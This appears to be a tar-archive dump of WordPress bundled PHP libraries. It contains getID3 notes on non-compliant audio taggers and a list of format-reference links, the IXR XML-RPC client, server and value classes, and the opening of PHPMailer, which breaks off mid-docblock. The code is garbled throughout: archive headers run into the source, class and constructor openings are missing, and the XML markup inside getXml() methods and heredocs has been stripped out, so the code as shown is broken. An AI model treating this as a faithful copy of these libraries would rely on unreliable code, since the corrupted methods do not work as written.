or output Asian character set (iTunes) * Winamp (up to v2.80 at least) does not support ID3v2.4 tags, only ID3v2.3 see: http://forums.winamp.com/showthread.php?postid=387524 * Some versions of Helium2 (www.helium2.com) do not write ID3v2.4-compliant Frame Sizes, even though the tag is marked as ID3v2.4) (detected by getID3()) * MP3ext V3.3.17 places a non-compliant padding string at the end of the ID3v2 header. This is supposedly fixed in v3.4b21 but only if you manually add a registry key. This fix is not yet confirmed. (detected by getID3()) * CDex v1.40 (fixed by v1.50b7) writes non-compliant Ogg comment strings, supposed to be in the format "NAME=value" but actually written just "value" (detected by getID3()) * Oggenc 0.9-rc3 flags the encoded file as ABR whether it's actually ABR or VBR. * iTunes (versions "v7.0.0.70" is known-guilty, probably other versions are too) writes ID3v2.3 comment tags using an ID3v2.2 frame name (3-bytes) null-padded to 4 bytes which is not valid for ID3v2.3+ (detected by getID3() since 1.9.12-201603221746) * iTunes (versions "X v2.0.3", "v3.0.1" are known-guilty, probably other versions are too) writes ID3v2.3 comment tags using a frame name 'COM ' which is not valid for ID3v2.3+ (it's an ID3v2.2-style frame name) (detected by getID3()) * MP2enc does not encode mono CBR MP2 files properly (half speed sound and double playtime) * MP2enc does not encode mono VBR MP2 files properly (actually encoded as stereo) * tooLAME does not encode mono VBR MP2 files properly (actually encoded as stereo) * AACenc encodes files in VBR mode (actually ABR) even if CBR is specified * AAC/ADIF - bitrate_mode = cbr for vbr files * LAME 3.90-3.92 prepends one frame of null data (space for the LAME/VBR header, but it never gets written) when encoding in CBR mode with the DLL * Ahead Nero encodes TwinVQF with a DSIZ value (which is supposed to be the filesize in bytes) of "0" for TwinVQF v1.0 and "1" for TwinVQF v2.0 (detected by getID3()) * Ahead Nero encodes TwinVQF files 1 second shorter than they should be * AAC-ADTS files are always actually encoded VBR, even if CBR mode is specified (the CBR-mode switches on the encoder enable ABR mode, not CBR as such, but it's not possible to tell the difference between such ABR files and true VBR) * STREAMINFO.audio_signature in OggFLAC is always null. "The reason it's like that is because there is no seeking support in libOggFLAC yet, so it has no way to go back and write the computed sum after encoding. Seeking support in Ogg FLAC is the #1 item for the next release." - Josh Coalson (FLAC developer) NOTE: getID3() will calculate md5_data in a method similar to other file formats, but that value cannot be compared to the md5_data value from FLAC data in a FLAC file format. * STREAMINFO.audio_signature is not calculated in FLAC v0.3.0 & v0.4.0 - getID3() will calculate md5_data in a method similar to other file formats, but that value cannot be compared to the md5_data value from FLAC v0.5.0+ * RioPort (various versions including 2.0 and 3.11) tags ID3v2 with a WCOM frame that has no data portion * Earlier versions of Coolplayer adds illegal ID3 tags to Ogg Vorbis files, thus making them corrupt. * Meracl ID3 Tag Writer v1.3.4 (and older) incorrectly truncates the last byte of data from an MP3 file when appending a new ID3v1 tag. (detected by getID3()) * Lossless-Audio files encoded with and without the -noseek switch do actually differ internally and therefore cannot match md5_data * iTunes has been known to append a new ID3v1 tag on the end of an existing ID3v1 tag when ID3v2 tag is also present (detected by getID3()) * MediaMonkey may write a blank RGAD ID3v2 frame but put actual replay gain adjustments in a series of user-defined TXXX frames (detected and handled by getID3() since v1.9.2) Reference material: =========================================================================== [www.id3.org material now mirrored at http://id3lib.sourceforge.net/id3/] * http://www.id3.org/id3v2.4.0-structure.txt * http://www.id3.org/id3v2.4.0-frames.txt * http://www.id3.org/id3v2.4.0-changes.txt * http://www.id3.org/id3v2.3.0.txt * http://www.id3.org/id3v2-00.txt * http://www.id3.org/mp3frame.html * http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html * http://www.dv.co.yu/mpgscript/mpeghdr.htm * http://www.mp3-tech.org/programmer/frame_header.html * http://users.belgacom.net/gc247244/extra/tag.html * http://gabriel.mp3-tech.org/mp3infotag.html * http://www.id3.org/iso4217.html * http://www.unicode.org/Public/MAPPINGS/ISO8859/8859-1.TXT * http://www.xiph.org/ogg/vorbis/doc/framing.html * http://www.xiph.org/ogg/vorbis/doc/v-comment.html * http://leknor.com/code/php/class.ogg.php.txt * http://www.id3.org/iso639-2.html * http://www.id3.org/lyrics3.html * http://www.id3.org/lyrics3200.html * http://www.psc.edu/general/software/packages/ieee/ieee.html * http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html * http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html * http://www.jmcgowan.com/avi.html * http://www.wotsit.org/ * http://www.herdsoft.com/ti/davincie/davp3xo2.htm * http://www.mathdogs.com/vorbis-illuminated/bitstream-appendix.html * "Standard MIDI File Format" by Dustin Caldwell (from www.wotsit.org) * http://midistudio.com/Help/GMSpecs_Patches.htm * http://www.xiph.org/archives/vorbis/200109/0459.html * http://www.replaygain.org/ * http://www.lossless-audio.com/ * http://download.microsoft.com/download/winmediatech40/Doc/1.0/WIN98MeXP/EN-US/ASF_Specification_v.1.0.exe * http://mediaxw.sourceforge.net/files/doc/Active%20Streaming%20Format%20(ASF)%201.0%20Specification.pdf * http://www.uni-jena.de/~pfk/mpp/sv8/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/sv8/) * http://jfaul.de/atl/ * http://www.uni-jena.de/~pfk/mpp/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/) * http://www.libpng.org/pub/png/spec/png-1.2-pdg.html * http://www.real.com/devzone/library/creating/rmsdk/doc/rmff.htm * http://www.fastgraph.com/help/bmp_os2_header_format.html * http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm * http://flac.sourceforge.net/format.html * http://www.research.att.com/projects/mpegaudio/mpeg2.html * http://www.audiocoding.com/wiki/index.php?page=AAC * http://libmpeg.org/mpeg4/doc/w2203tfs.pdf * http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt * http://developer.apple.com/techpubs/quicktime/qtdevdocs/RM/frameset.htm * http://www.nullsoft.com/nsv/ * http://www.wotsit.org/download.asp?f=iso9660 * http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html * http://www.cdroller.com/htm/readdata.html * http://www.speex.org/manual/node10.html * http://www.harmony-central.com/Computer/Programming/aiff-file-format.doc * http://www.faqs.org/rfcs/rfc2361.html * http://ghido.shelter.ro/ * http://www.ebu.ch/tech_t3285.pdf * http://www.sr.se/utveckling/tu/bwf * http://ftp.aessc.org/pub/aes46-2002.pdf * http://cartchunk.org:8080/ * http://www.broadcastpapers.com/radio/cartchunk01.htm * http://www.hr/josip/DSP/AudioFile2.html * http://home.attbi.com/~chris.bagwell/AudioFormats-11.html * http://www.pure-mac.com/extkey.html * http://cesnet.dl.sourceforge.net/sourceforge/bonkenc/bonk-binary-format-0.9.txt * http://www.headbands.com/gspot/ * http://www.openswf.org/spec/SWFfileformat.html * http://j-faul.virtualave.net/ * http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html * http://cui.unige.ch/OSG/info/AudioFormats/ap11.html * http://sswf.sourceforge.net/SWFalexref.html * http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt * http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm * http://developer.apple.com/quicktime/icefloe/dispatch012.html * http://www.csdn.net/Dev/Format/graphics/PCD.htm * http://tta.iszf.irk.ru/ * http://www.atsc.org/standards/a_52a.pdf * http://www.alanwood.net/unicode/ * http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html * http://www.its.msstate.edu/net/real/reports/config/tags.stats * http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt * http://brennan.young.net/Comp/LiveStage/things.html * http://www.multiweb.cz/twoinches/MP3inside.htm * http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended * http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/ * http://www.unicode.org/unicode/faq/utf_bom.html * http://tta.corecodec.org/?menu=format * http://www.scvi.net/nsvformat.htm * http://pda.etsi.org/pda/queryform.asp * http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm * http://trac.musepack.net/trac/wiki/SV8Specification * http://wyday.com/cuesharp/specification.php * http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html * http://www.codeproject.com/Articles/8295/MPEG-Audio-Frame-Header * http://dsd-guide.com/sites/default/files/white-papers/DSFFileFormatSpec_E.pdf IXR/class-IXR-base64.php000064400000000636151202620270010550 0ustar00data = $data; } /** * PHP4 constructor. */ public function IXR_Base64( $data ) { self::__construct( $data ); } function getXml() { return ''.base64_encode($this->data).''; } } IXR/class-IXR-client.php000064400000011263151202620270010740 0ustar00server = $bits['host']; $this->port = isset($bits['port']) ? $bits['port'] : 80; $this->path = isset($bits['path']) ? $bits['path'] : '/'; // Make absolutely sure we have a path if (!$this->path) { $this->path = '/'; } if ( ! empty( $bits['query'] ) ) { $this->path .= '?' . $bits['query']; } } else { $this->server = $server; $this->path = $path; $this->port = $port; } $this->useragent = 'The Incutio XML-RPC PHP Library'; $this->timeout = $timeout; } /** * PHP4 constructor. */ public function IXR_Client( $server, $path = false, $port = 80, $timeout = 15 ) { self::__construct( $server, $path, $port, $timeout ); } /** * @since 1.5.0 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @return bool */ function query( ...$args ) { $method = array_shift($args); $request = new IXR_Request($method, $args); $length = $request->getLength(); $xml = $request->getXml(); $r = "\r\n"; $request = "POST {$this->path} HTTP/1.0$r"; // Merged from WP #8145 - allow custom headers $this->headers['Host'] = $this->server; $this->headers['Content-Type'] = 'text/xml'; $this->headers['User-Agent'] = $this->useragent; $this->headers['Content-Length']= $length; foreach( $this->headers as $header => $value ) { $request .= "{$header}: {$value}{$r}"; } $request .= $r; $request .= $xml; // Now send the request if ($this->debug) { echo '
'.htmlspecialchars($request)."\n
\n\n"; } if ($this->timeout) { $fp = @fsockopen($this->server, $this->port, $errno, $errstr, $this->timeout); } else { $fp = @fsockopen($this->server, $this->port, $errno, $errstr); } if (!$fp) { $this->error = new IXR_Error(-32300, 'transport error - could not open socket'); return false; } fputs($fp, $request); $contents = ''; $debugContents = ''; $gotFirstLine = false; $gettingHeaders = true; while (!feof($fp)) { $line = fgets($fp, 4096); if (!$gotFirstLine) { // Check line for '200' if (strstr($line, '200') === false) { $this->error = new IXR_Error(-32300, 'transport error - HTTP status code was not 200'); return false; } $gotFirstLine = true; } if (trim($line) == '') { $gettingHeaders = false; } if (!$gettingHeaders) { // merged from WP #12559 - remove trim $contents .= $line; } if ($this->debug) { $debugContents .= $line; } } if ($this->debug) { echo '
'.htmlspecialchars($debugContents)."\n
\n\n"; } // Now parse what we've got back $this->message = new IXR_Message($contents); if (!$this->message->parse()) { // XML error $this->error = new IXR_Error(-32700, 'parse error. not well formed'); return false; } // Is the message a fault? if ($this->message->messageType == 'fault') { $this->error = new IXR_Error($this->message->faultCode, $this->message->faultString); return false; } // Message must be OK return true; } function getResponse() { // methodResponses can only have one param - return that return $this->message->params[0]; } function isError() { return (is_object($this->error)); } function getErrorCode() { return $this->error->code; } function getErrorMessage() { return $this->error->message; } } IXR/class-IXR-clientmulticall.php000064400000002357151202620270012653 0ustar00useragent = 'The Incutio XML-RPC PHP Library (multicall client)'; } /** * PHP4 constructor. */ public function IXR_ClientMulticall( $server, $path = false, $port = 80 ) { self::__construct( $server, $path, $port ); } /** * @since 1.5.0 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it * to the function signature. */ function addCall( ...$args ) { $methodName = array_shift($args); $struct = array( 'methodName' => $methodName, 'params' => $args ); $this->calls[] = $struct; } /** * @since 1.5.0 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @return bool */ function query( ...$args ) { // Prepare multicall, then call the parent::query() method return parent::query('system.multicall', $this->calls); } } IXR/class-IXR-date.php000064400000003233151202620270010375 0ustar00parseTimestamp($time); } else { $this->parseIso($time); } } /** * PHP4 constructor. */ public function IXR_Date( $time ) { self::__construct( $time ); } function parseTimestamp($timestamp) { $this->year = gmdate('Y', $timestamp); $this->month = gmdate('m', $timestamp); $this->day = gmdate('d', $timestamp); $this->hour = gmdate('H', $timestamp); $this->minute = gmdate('i', $timestamp); $this->second = gmdate('s', $timestamp); $this->timezone = ''; } function parseIso($iso) { $this->year = substr($iso, 0, 4); $this->month = substr($iso, 4, 2); $this->day = substr($iso, 6, 2); $this->hour = substr($iso, 9, 2); $this->minute = substr($iso, 12, 2); $this->second = substr($iso, 15, 2); $this->timezone = substr($iso, 17); } function getIso() { return $this->year.$this->month.$this->day.'T'.$this->hour.':'.$this->minute.':'.$this->second.$this->timezone; } function getXml() { return ''.$this->getIso().''; } function getTimestamp() { return mktime($this->hour, $this->minute, $this->second, $this->month, $this->day, $this->year); } } IXR/class-IXR-error.php000064400000001526151202620270010614 0ustar00code = $code; $this->message = htmlspecialchars($message); } /** * PHP4 constructor. */ public function IXR_Error( $code, $message ) { self::__construct( $code, $message ); } function getXml() { $xml = << faultCode {$this->code} faultString {$this->message} EOD; return $xml; } } IXR/class-IXR-introspectionserver.php000064400000012313151202620270013606 0ustar00setCallbacks(); $this->setCapabilities(); $this->capabilities['introspection'] = array( 'specUrl' => 'http://xmlrpc.usefulinc.com/doc/reserved.html', 'specVersion' => 1 ); $this->addCallback( 'system.methodSignature', 'this:methodSignature', array('array', 'string'), 'Returns an array describing the return type and required parameters of a method' ); $this->addCallback( 'system.getCapabilities', 'this:getCapabilities', array('struct'), 'Returns a struct describing the XML-RPC specifications supported by this server' ); $this->addCallback( 'system.listMethods', 'this:listMethods', array('array'), 'Returns an array of available methods on this server' ); $this->addCallback( 'system.methodHelp', 'this:methodHelp', array('string', 'string'), 'Returns a documentation string for the specified method' ); } /** * PHP4 constructor. */ public function IXR_IntrospectionServer() { self::__construct(); } function addCallback($method, $callback, $args, $help) { $this->callbacks[$method] = $callback; $this->signatures[$method] = $args; $this->help[$method] = $help; } function call($methodname, $args) { // Make sure it's in an array if ($args && !is_array($args)) { $args = array($args); } // Over-rides default call method, adds signature check if (!$this->hasMethod($methodname)) { return new IXR_Error(-32601, 'server error. requested method "'.$this->message->methodName.'" not specified.'); } $method = $this->callbacks[$methodname]; $signature = $this->signatures[$methodname]; $returnType = array_shift($signature); // Check the number of arguments if (count($args) != count($signature)) { return new IXR_Error(-32602, 'server error. wrong number of method parameters'); } // Check the argument types $ok = true; $argsbackup = $args; for ($i = 0, $j = count($args); $i < $j; $i++) { $arg = array_shift($args); $type = array_shift($signature); switch ($type) { case 'int': case 'i4': if (is_array($arg) || !is_int($arg)) { $ok = false; } break; case 'base64': case 'string': if (!is_string($arg)) { $ok = false; } break; case 'boolean': if ($arg !== false && $arg !== true) { $ok = false; } break; case 'float': case 'double': if (!is_float($arg)) { $ok = false; } break; case 'date': case 'dateTime.iso8601': if (!is_a($arg, 'IXR_Date')) { $ok = false; } break; } if (!$ok) { return new IXR_Error(-32602, 'server error. invalid method parameters'); } } // It passed the test - run the "real" method call return parent::call($methodname, $argsbackup); } function methodSignature($method) { if (!$this->hasMethod($method)) { return new IXR_Error(-32601, 'server error. requested method "'.$method.'" not specified.'); } // We should be returning an array of types $types = $this->signatures[$method]; $return = array(); foreach ($types as $type) { switch ($type) { case 'string': $return[] = 'string'; break; case 'int': case 'i4': $return[] = 42; break; case 'double': $return[] = 3.1415; break; case 'dateTime.iso8601': $return[] = new IXR_Date(time()); break; case 'boolean': $return[] = true; break; case 'base64': $return[] = new IXR_Base64('base64'); break; case 'array': $return[] = array('array'); break; case 'struct': $return[] = array('struct' => 'struct'); break; } } return $return; } function methodHelp($method) { return $this->help[$method]; } } IXR/class-IXR-message.php000064400000020003151202620270011076 0ustar00message =& $message; } /** * PHP4 constructor. */ public function IXR_Message( $message ) { self::__construct( $message ); } function parse() { if ( ! function_exists( 'xml_parser_create' ) ) { trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) ); return false; } // first remove the XML declaration // merged from WP #10698 - this method avoids the RAM usage of preg_replace on very large messages $header = preg_replace( '/<\?xml.*?\?'.'>/s', '', substr( $this->message, 0, 100 ), 1 ); $this->message = trim( substr_replace( $this->message, $header, 0, 100 ) ); if ( '' == $this->message ) { return false; } // Then remove the DOCTYPE $header = preg_replace( '/^]*+>/i', '', substr( $this->message, 0, 200 ), 1 ); $this->message = trim( substr_replace( $this->message, $header, 0, 200 ) ); if ( '' == $this->message ) { return false; } // Check that the root tag is valid $root_tag = substr( $this->message, 0, strcspn( substr( $this->message, 0, 20 ), "> \t\r\n" ) ); if ( 'message, '<' ) ) { return false; } $this->_parser = xml_parser_create(); // Set XML parser to take the case of tags in to account xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false); // Set XML parser callback functions xml_set_object($this->_parser, $this); xml_set_element_handler($this->_parser, 'tag_open', 'tag_close'); xml_set_character_data_handler($this->_parser, 'cdata'); // 256Kb, parse in chunks to avoid the RAM usage on very large messages $chunk_size = 262144; /** * Filters the chunk size that can be used to parse an XML-RPC response message. * * @since 4.4.0 * * @param int $chunk_size Chunk size to parse in bytes. */ $chunk_size = apply_filters( 'xmlrpc_chunk_parsing_size', $chunk_size ); $final = false; do { if (strlen($this->message) <= $chunk_size) { $final = true; } $part = substr($this->message, 0, $chunk_size); $this->message = substr($this->message, $chunk_size); if (!xml_parse($this->_parser, $part, $final)) { xml_parser_free($this->_parser); unset($this->_parser); return false; } if ($final) { break; } } while (true); xml_parser_free($this->_parser); unset($this->_parser); // Grab the error messages, if any if ($this->messageType == 'fault') { $this->faultCode = $this->params[0]['faultCode']; $this->faultString = $this->params[0]['faultString']; } return true; } function tag_open($parser, $tag, $attr) { $this->_currentTagContents = ''; $this->currentTag = $tag; switch($tag) { case 'methodCall': case 'methodResponse': case 'fault': $this->messageType = $tag; break; /* Deal with stacks of arrays and structs */ case 'data': // data is to all intents and puposes more interesting than array $this->_arraystructstypes[] = 'array'; $this->_arraystructs[] = array(); break; case 'struct': $this->_arraystructstypes[] = 'struct'; $this->_arraystructs[] = array(); break; } } function cdata($parser, $cdata) { $this->_currentTagContents .= $cdata; } function tag_close($parser, $tag) { $valueFlag = false; switch($tag) { case 'int': case 'i4': $value = (int)trim($this->_currentTagContents); $valueFlag = true; break; case 'double': $value = (double)trim($this->_currentTagContents); $valueFlag = true; break; case 'string': $value = (string)trim($this->_currentTagContents); $valueFlag = true; break; case 'dateTime.iso8601': $value = new IXR_Date(trim($this->_currentTagContents)); $valueFlag = true; break; case 'value': // "If no type is indicated, the type is string." if (trim($this->_currentTagContents) != '') { $value = (string)$this->_currentTagContents; $valueFlag = true; } break; case 'boolean': $value = (boolean)trim($this->_currentTagContents); $valueFlag = true; break; case 'base64': $value = base64_decode($this->_currentTagContents); $valueFlag = true; break; /* Deal with stacks of arrays and structs */ case 'data': case 'struct': $value = array_pop($this->_arraystructs); array_pop($this->_arraystructstypes); $valueFlag = true; break; case 'member': array_pop($this->_currentStructName); break; case 'name': $this->_currentStructName[] = trim($this->_currentTagContents); break; case 'methodName': $this->methodName = trim($this->_currentTagContents); break; } if ($valueFlag) { if (count($this->_arraystructs) > 0) { // Add value to struct or array if ($this->_arraystructstypes[count($this->_arraystructstypes)-1] == 'struct') { // Add to struct $this->_arraystructs[count($this->_arraystructs)-1][$this->_currentStructName[count($this->_currentStructName)-1]] = $value; } else { // Add to array $this->_arraystructs[count($this->_arraystructs)-1][] = $value; } } else { // Just add as a parameter $this->params[] = $value; } } $this->_currentTagContents = ''; } } IXR/class-IXR-request.php000064400000001637151202620270011156 0ustar00method = $method; $this->args = $args; $this->xml = << {$this->method} EOD; foreach ($this->args as $arg) { $this->xml .= ''; $v = new IXR_Value($arg); $this->xml .= $v->getXml(); $this->xml .= "\n"; } $this->xml .= ''; } /** * PHP4 constructor. */ public function IXR_Request( $method, $args ) { self::__construct( $method, $args ); } function getLength() { return strlen($this->xml); } function getXml() { return $this->xml; } } IXR/class-IXR-server.php000064400000015143151202620270010771 0ustar00setCapabilities(); if ($callbacks) { $this->callbacks = $callbacks; } $this->setCallbacks(); if (!$wait) { $this->serve($data); } } /** * PHP4 constructor. */ public function IXR_Server( $callbacks = false, $data = false, $wait = false ) { self::__construct( $callbacks, $data, $wait ); } function serve($data = false) { if (!$data) { if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] !== 'POST') { if ( function_exists( 'status_header' ) ) { status_header( 405 ); // WP #20986 header( 'Allow: POST' ); } header('Content-Type: text/plain'); // merged from WP #9093 die('XML-RPC server accepts POST requests only.'); } $data = file_get_contents('php://input'); } $this->message = new IXR_Message($data); if (!$this->message->parse()) { $this->error(-32700, 'parse error. not well formed'); } if ($this->message->messageType != 'methodCall') { $this->error(-32600, 'server error. invalid xml-rpc. not conforming to spec. Request must be a methodCall'); } $result = $this->call($this->message->methodName, $this->message->params); // Is the result an error? if (is_a($result, 'IXR_Error')) { $this->error($result); } // Encode the result $r = new IXR_Value($result); $resultxml = $r->getXml(); // Create the XML $xml = << $resultxml EOD; // Send it $this->output($xml); } function call($methodname, $args) { if (!$this->hasMethod($methodname)) { return new IXR_Error(-32601, 'server error. requested method '.$methodname.' does not exist.'); } $method = $this->callbacks[$methodname]; // Perform the callback and send the response if (count($args) == 1) { // If only one parameter just send that instead of the whole array $args = $args[0]; } // Are we dealing with a function or a method? if (is_string($method) && substr($method, 0, 5) == 'this:') { // It's a class method - check it exists $method = substr($method, 5); if (!method_exists($this, $method)) { return new IXR_Error(-32601, 'server error. requested class method "'.$method.'" does not exist.'); } //Call the method $result = $this->$method($args); } else { // It's a function - does it exist? if (is_array($method)) { if (!is_callable(array($method[0], $method[1]))) { return new IXR_Error(-32601, 'server error. requested object method "'.$method[1].'" does not exist.'); } } else if (!function_exists($method)) { return new IXR_Error(-32601, 'server error. requested function "'.$method.'" does not exist.'); } // Call the function $result = call_user_func($method, $args); } return $result; } function error($error, $message = false) { // Accepts either an error object or an error code and message if ($message && !is_object($error)) { $error = new IXR_Error($error, $message); } if ( function_exists( 'status_header' ) ) { status_header( $error->code ); } $this->output($error->getXml()); } function output($xml) { $charset = function_exists('get_option') ? get_option('blog_charset') : ''; if ($charset) $xml = ''."\n".$xml; else $xml = ''."\n".$xml; $length = strlen($xml); header('Connection: close'); if ($charset) header('Content-Type: text/xml; charset='.$charset); else header('Content-Type: text/xml'); header('Date: '.gmdate('r')); echo $xml; exit; } function hasMethod($method) { return in_array($method, array_keys($this->callbacks)); } function setCapabilities() { // Initialises capabilities array $this->capabilities = array( 'xmlrpc' => array( 'specUrl' => 'http://www.xmlrpc.com/spec', 'specVersion' => 1 ), 'faults_interop' => array( 'specUrl' => 'http://xmlrpc-epi.sourceforge.net/specs/rfc.fault_codes.php', 'specVersion' => 20010516 ), 'system.multicall' => array( 'specUrl' => 'http://www.xmlrpc.com/discuss/msgReader$1208', 'specVersion' => 1 ), ); } function getCapabilities($args) { return $this->capabilities; } function setCallbacks() { $this->callbacks['system.getCapabilities'] = 'this:getCapabilities'; $this->callbacks['system.listMethods'] = 'this:listMethods'; $this->callbacks['system.multicall'] = 'this:multiCall'; } function listMethods($args) { // Returns a list of methods - uses array_reverse to ensure user defined // methods are listed before server defined methods return array_reverse(array_keys($this->callbacks)); } function multiCall($methodcalls) { // See http://www.xmlrpc.com/discuss/msgReader$1208 $return = array(); foreach ($methodcalls as $call) { $method = $call['methodName']; $params = $call['params']; if ($method == 'system.multicall') { $result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden'); } else { $result = $this->call($method, $params); } if (is_a($result, 'IXR_Error')) { $return[] = array( 'faultCode' => $result->code, 'faultString' => $result->message ); } else { $return[] = array($result); } } return $return; } } IXR/class-IXR-value.php000064400000007316151202620270010602 0ustar00data = $data; if (!$type) { $type = $this->calculateType(); } $this->type = $type; if ($type == 'struct') { // Turn all the values in the array in to new IXR_Value objects foreach ($this->data as $key => $value) { $this->data[$key] = new IXR_Value($value); } } if ($type == 'array') { for ($i = 0, $j = count($this->data); $i < $j; $i++) { $this->data[$i] = new IXR_Value($this->data[$i]); } } } /** * PHP4 constructor. */ public function IXR_Value( $data, $type = false ) { self::__construct( $data, $type ); } function calculateType() { if ($this->data === true || $this->data === false) { return 'boolean'; } if (is_integer($this->data)) { return 'int'; } if (is_double($this->data)) { return 'double'; } // Deal with IXR object types base64 and date if (is_object($this->data) && is_a($this->data, 'IXR_Date')) { return 'date'; } if (is_object($this->data) && is_a($this->data, 'IXR_Base64')) { return 'base64'; } // If it is a normal PHP object convert it in to a struct if (is_object($this->data)) { $this->data = get_object_vars($this->data); return 'struct'; } if (!is_array($this->data)) { return 'string'; } // We have an array - is it an array or a struct? if ($this->isStruct($this->data)) { return 'struct'; } else { return 'array'; } } function getXml() { // Return XML for this value switch ($this->type) { case 'boolean': return ''.(($this->data) ? '1' : '0').''; break; case 'int': return ''.$this->data.''; break; case 'double': return ''.$this->data.''; break; case 'string': return ''.htmlspecialchars($this->data).''; break; case 'array': $return = ''."\n"; foreach ($this->data as $item) { $return .= ' '.$item->getXml()."\n"; } $return .= ''; return $return; break; case 'struct': $return = ''."\n"; foreach ($this->data as $name => $value) { $name = htmlspecialchars($name); $return .= " $name"; $return .= $value->getXml()."\n"; } $return .= ''; return $return; break; case 'date': case 'base64': return $this->data->getXml(); break; } return false; } /** * Checks whether or not the supplied array is a struct or not * * @param array $array * @return bool */ function isStruct($array) { $expected = 0; foreach ($array as $key => $value) { if ((string)$key !== (string)$expected) { return true; } $expected++; } return false; } } PHPMailer/Exception.php000064400000002276151202620270011000 0ustar00 * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer exception handler. * * @author Marcus Bointon */ class Exception extends \Exception { /** * Prettify error message output. * * @return string */ public function errorMessage() { return '' . htmlspecialchars($this->getMessage()) . "
\n"; } } PHPMailer/PHPMailer.php000064400000516307151202620270010630 0ustar00 * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer - PHP email creation and transport class. * * @author Marcus Bointon (Synchro/coolbru) * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) */ class PHPMailer { const CHARSET_ASCII = 'us-ascii'; const CHARSET_ISO88591 = 'iso-8859-1'; const CHARSET_UTF8 = 'utf-8'; const CONTENT_TYPE_PLAINTEXT = 'text/plain'; const CONTENT_TYPE_TEXT_CALENDAR = 'text/calendar'; const CONTENT_TYPE_TEXT_HTML = 'text/html'; const CONTENT_TYPE_MULTIPART_ALTERNATIVE = 'multipart/alternative'; const CONTENT_TYPE_MULTIPART_MIXED = 'multipart/mixed'; const CONTENT_TYPE_MULTIPART_RELATED = 'multipart/related'; const ENCODING_7BIT = '7bit'; const ENCODING_8BIT = '8bit'; const ENCODING_BASE64 = 'base64'; const ENCODING_BINARY = 'binary'; const ENCODING_QUOTED_PRINTABLE = 'quoted-printable'; const ENCRYPTION_STARTTLS = 'tls'; const ENCRYPTION_SMTPS = 'ssl'; const ICAL_METHOD_REQUEST = 'REQUEST'; const ICAL_METHOD_PUBLISH = 'PUBLISH'; const ICAL_METHOD_REPLY = 'REPLY'; const ICAL_METHOD_ADD = 'ADD'; const ICAL_METHOD_CANCEL = 'CANCEL'; const ICAL_METHOD_REFRESH = 'REFRESH'; const ICAL_METHOD_COUNTER = 'COUNTER'; const ICAL_METHOD_DECLINECOUNTER = 'DECLINECOUNTER'; /** * Email priority. * Options: null (default), 1 = High, 3 = Normal, 5 = low. * When null, the header is not set at all. * * @var int|null */ public $Priority; /** * The character set of the message. * * @var string */ public $CharSet = self::CHARSET_ISO88591; /** * The MIME Content-type of the message. * * @var string */ public $ContentType = self::CONTENT_TYPE_PLAINTEXT; /** * The message encoding. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable". * * @var string */ public $Encoding = self::ENCODING_8BIT; /** * Holds the most recent mailer error message. * * @var string */ public $ErrorInfo = ''; /** * The From email address for the message. * * @var string */ public $From = 'root@localhost'; /** * The From name of the message. * * @var string */ public $FromName = 'Root User'; /** * The envelope sender of the message. * This will usually be turned into a Return-Path header by the receiver, * and is the address that bounces will be sent to. * If not empty, will be passed via `-f` to sendmail or as the 'MAIL FROM' value over SMTP. * * @var string */ public $Sender = ''; /** * The Subject of the message. * * @var string */ public $Subject = ''; /** * An HTML or plain text message body. * If HTML then call isHTML(true). * * @var string */ public $Body = ''; /** * The plain-text message body. * This body can be read by mail clients that do not have HTML email * capability such as mutt & Eudora. * Clients that can read HTML will view the normal Body. * * @var string */ public $AltBody = ''; /** * An iCal message part body. * Only supported in simple alt or alt_inline message types * To generate iCal event structures, use classes like EasyPeasyICS or iCalcreator. * * @see http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/ * @see http://kigkonsult.se/iCalcreator/ * * @var string */ public $Ical = ''; /** * Value-array of "method" in Contenttype header "text/calendar" * * 